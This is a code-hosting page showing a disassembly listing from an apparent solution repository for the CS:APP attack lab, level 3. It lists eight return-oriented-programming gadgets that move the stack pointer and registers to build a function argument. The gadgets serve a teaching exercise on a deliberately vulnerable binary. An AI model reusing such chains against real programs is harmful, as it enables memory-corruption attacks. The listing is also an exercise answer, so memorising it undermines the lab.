CSAPP-sol/attack/r_level3.s

45 lines
1.1 KiB
ArmAsm
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

r_level3.o elf64-x86-64
Disassembly of section .text:
0000000000000000 <gadget1>:
0: 48 89 e0 mov %rsp,%rax
3: c3 ret
0000000000000004 <gadget2>:
4: 48 89 c7 mov %rax,%rdi
7: 90 nop
8: c3 ret
0000000000000009 <gadget3>:
9: 58 pop %rax
a: 90 nop
b: c3 ret
000000000000000c <gadget4>:
c: 89 c2 mov %eax,%edx
e: 90 nop
f: c3 ret
0000000000000010 <gadget5>:
10: 89 d1 mov %edx,%ecx
12: 38 c9 cmp %cl,%cl
14: c3 ret
0000000000000015 <gadget6>:
15: 89 ce mov %ecx,%esi
17: 90 nop
18: 90 nop
19: c3 ret
000000000000001a <gadget7>:
1a: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
1e: c3 ret
000000000000001f <gadget8>:
1f: 48 89 c7 mov %rax,%rdi
22: 90 nop
23: c3 ret